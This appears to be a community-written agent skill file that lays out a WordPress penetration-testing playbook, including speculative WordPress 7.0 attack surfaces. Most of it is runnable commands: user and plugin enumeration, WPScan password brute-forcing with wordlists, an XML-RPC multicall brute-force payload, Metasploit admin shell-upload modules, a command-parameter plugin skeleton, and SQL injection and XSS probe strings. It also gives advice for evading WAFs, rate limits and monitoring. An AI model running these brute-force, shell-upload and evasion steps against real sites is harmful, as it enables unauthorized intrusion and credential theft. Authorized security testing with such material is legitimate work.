| name | wordpress-penetration-testing |
| description | Assess WordPress installations for common vulnerabilities and WordPress 7.0 attack surfaces. |
| risk | unknown |
| source | community |
| author | zebbern |
| date_added | 2026-02-27 |
WordPress Penetration Testing
WordPress 7.0 Security Considerations
WordPress 7.0 (April 2026) introduces new features that create additional attack surfaces:
Real-Time Collaboration (RTC)
- Yjs CRDT sync provider endpoints
wp_sync_storage post meta
- Collaboration session hijacking
- Data sync interception
AI Connector API
/wp-json/ai/v1/ endpoints
- Credential storage in Settings > Connectors
- Prompt injection vulnerabilities
- AI response manipulation
Abilities API
/wp-json/abilities/v1/ manifest exposure
- Ability invocation endpoints
- Permission boundary bypass
- MCP adapter integration points
DataViews
- New admin interface endpoints
- Client-side validation bypass
- Filter/sort parameter injection
PHP Requirements
- PHP 7.2/7.3 no longer supported (upgrade attacks)
- PHP 8.3+ recommended (new attack vectors)
Purpose
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
Prerequisites
Required Tools
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wget
Required Knowledge
- WordPress architecture and structure
- Web application testing fundamentals
- HTTP protocol understanding
- Common web vulnerabilities (OWASP Top 10)
Outputs and Deliverables
- WordPress Enumeration Report - Version, themes, plugins, users
- Vulnerability Assessment - Identified CVEs and misconfigurations
- Credential Assessment - Weak password findings
- Exploitation Proof - Shell access documentation
Core Workflow
Phase 1: WordPress Discovery
Identify WordPress installations:
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
curl -s http://target.com | grep "generator"
nmap -p 80,443 --script http-wordpress-enum target.com
Key WordPress files and directories:
/wp-admin/ - Admin dashboard
/wp-login.php - Login page
/wp-content/ - Themes, plugins, uploads
/wp-includes/ - Core files
/xmlrpc.php - XML-RPC interface
/wp-config.php - Configuration (not accessible if secure)
/readme.html - Version information
Phase 2: Basic WPScan Enumeration
Comprehensive WordPress scanning with WPScan:
wpscan --url http://target.com/wordpress/
wpscan --url http://target.com --api-token YOUR_API_TOKEN
wpscan --url http://target.com --detection-mode aggressive
wpscan --url http://target.com -o results.txt
wpscan --url http://target.com -f json -o results.json
wpscan --url http://target.com -v
Phase 3: WordPress Version Detection
Identify WordPress version:
wpscan --url http://target.com
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
curl -s http://target.com | grep 'name="generator"'
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions
Phase 4: Theme Enumeration
Identify installed themes:
wpscan --url http://target.com -e at
wpscan --url http://target.com -e vt
wpscan --url http://target.com -e at --plugins-detection aggressive
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
Theme vulnerability checks:
searchsploit wordpress theme <theme_name>
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
Phase 5: Plugin Enumeration
Identify installed plugins:
wpscan --url http://target.com -e ap
wpscan --url http://target.com -e vp
wpscan --url http://target.com -e ap --plugins-detection aggressive
wpscan --url http://target.com -e ap --plugins-detection mixed
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
Common vulnerable plugins to check:
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
Phase 6: User Enumeration
Discover WordPress users:
wpscan --url http://target.com -e u
wpscan --url http://target.com -e u1-100
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
curl -s http://target.com/wp-json/wp/v2/users
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
Phase 7: Comprehensive Enumeration
Run all enumeration modules:
wpscan --url http://target.com -e at -e ap -e u
wpscan --url http://target.com -e vp,vt,u,cb,dbe
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
Phase 8: Password Attacks
Brute-force WordPress credentials:
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
Password attack methods:
wp-login - Standard login form
xmlrpc - XML-RPC multicall (faster)
xmlrpc-multicall - Multiple passwords per request
Phase 9: Vulnerability Exploitation
Metasploit Shell Upload
After obtaining credentials:
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
Plugin Exploitation
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
search type:exploit platform:php wordpress
Manual Exploitation
Theme/plugin editor (with admin access):
<?php
echo "Placeholder shell";
?>
Plugin upload method:
cat > test-plugin.php << 'EOF'
<?php
/*
Plugin Name: Security Testing Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
// Neutralized: payload execution would go here
echo "Command parsed: " . htmlspecialchars($_GET['cmd']);
}
?>
EOF
zip test-plugin.zip test-plugin.php
curl "http://target.com/wp-content/plugins/test-plugin/test-plugin.php?cmd=id"
Phase 10: Advanced Techniques
XML-RPC Exploitation
curl -X POST http://target.com/xmlrpc.php
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
Scanning Through Proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
wpscan --url http://target.com --proxy http://127.0.0.1:8080
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
HTTP Authentication
wpscan --url http://target.com --http-auth admin:password
wpscan --url https://target.com --disable-tls-checks
Quick Reference
WPScan Enumeration Flags
| Flag | Description |
|---|
-e at | All themes |
-e vt | Vulnerable themes |
-e ap | All plugins |
-e vp | Vulnerable plugins |
-e u | Users (1-10) |
-e cb | Config backups |
-e dbe | Database exports |
Common WordPress Paths
| Path | Purpose |
|---|
/wp-admin/ | Admin dashboard |
/wp-login.php | Login page |
/wp-content/uploads/ | User uploads |
/wp-includes/ | Core files |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
WPScan Command Examples
| Purpose | Command |
|---|
| Basic scan | wpscan --url http://target.com |
| All enumeration | wpscan --url http://target.com -e at,ap,u |
| Password attack | wpscan --url http://target.com -U admin -P pass.txt |
| Aggressive | wpscan --url http://target.com --detection-mode aggressive |
Constraints and Limitations
Legal Considerations
- Obtain written authorization before testing
- Stay within defined scope
- Document all testing activities
- Follow responsible disclosure
Technical Limitations
- WAF may block scanning
- Rate limiting may prevent brute-force
- Some plugins may have false negatives
- XML-RPC may be disabled
Detection Evasion
- Use random user agents:
--random-user-agent
- Throttle requests:
--throttle 1000
- Use proxy rotation
- Avoid aggressive modes on monitored sites
Troubleshooting
WPScan Shows No Vulnerabilities
Solutions:
- Use API token for vulnerability database
- Try aggressive detection mode
- Check for WAF blocking scans
- Verify WordPress is actually installed
Brute-Force Blocked
Solutions:
- Use XML-RPC method instead of wp-login
- Add throttling:
--throttle 500
- Use different user agents
- Check for IP blocking/fail2ban
Cannot Access Admin Panel
Solutions:
- Verify credentials are correct
- Check for two-factor authentication
- Look for IP whitelist restrictions
- Check for login URL changes (security plugins)
WordPress 7.0 Security Testing
Testing AI Connector Endpoints
curl -s http://target.com/wp-json/ai/v1/
curl -s http://target.com/wp-json/ai/v1/providers
curl -s http://target.com/wp-json/ai/v1/connectors
curl -X POST http://target.com/wp-json/ai/v1/prompt \
-H "Content-Type: application/json" \
-d '{"prompt": "[Neutralized prompt injection test payload]"}'
Testing Abilities API
curl -s http://target.com/wp-json/abilities/v1/manifest
curl -X POST http://target.com/wp-json/abilities/v1/invoke/woocommerce-update-inventory \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 0}'
Testing Real-Time Collaboration
curl -s http://target.com/wp-json/wp/v2/posts?meta[_wp_sync_storage]
curl -s http://target.com/wp-json/sync/v1/providers
Testing DataViews Endpoints
curl "http://target.com/wp-admin/admin-ajax.php?action=get_posts&search=<script>alert(1)</script>"
curl "http://target.com/wp-admin/admin-ajax.php?action=get_posts&orderby=1; DROP TABLE wp_users--"
WordPress 7.0 Vulnerability Checks
curl -s http://target.com/wp-admin/about.php | grep -i php
curl -s http://target.com/wp-json/wp/v2/settings | grep -i collaboration
curl -s http://target.com/wp-json/wp/v2/settings | grep -i connector
New Attack Surfaces in WordPress 7.0
-
AI Prompt Injection
- Manipulate AI prompts to execute commands
- Test for improper input sanitization
-
Collaboration Data Exposure
- Intercept synced post meta
- Session hijacking in RTC
-
Abilities API Privilege Escalation
- Enumerate exposed abilities
- Test permission boundary bypass
-
Connector Credential Theft
- Access stored API keys
- Test credential storage encryption
When to Use
This skill is applicable to execute the workflow or actions described in the overview.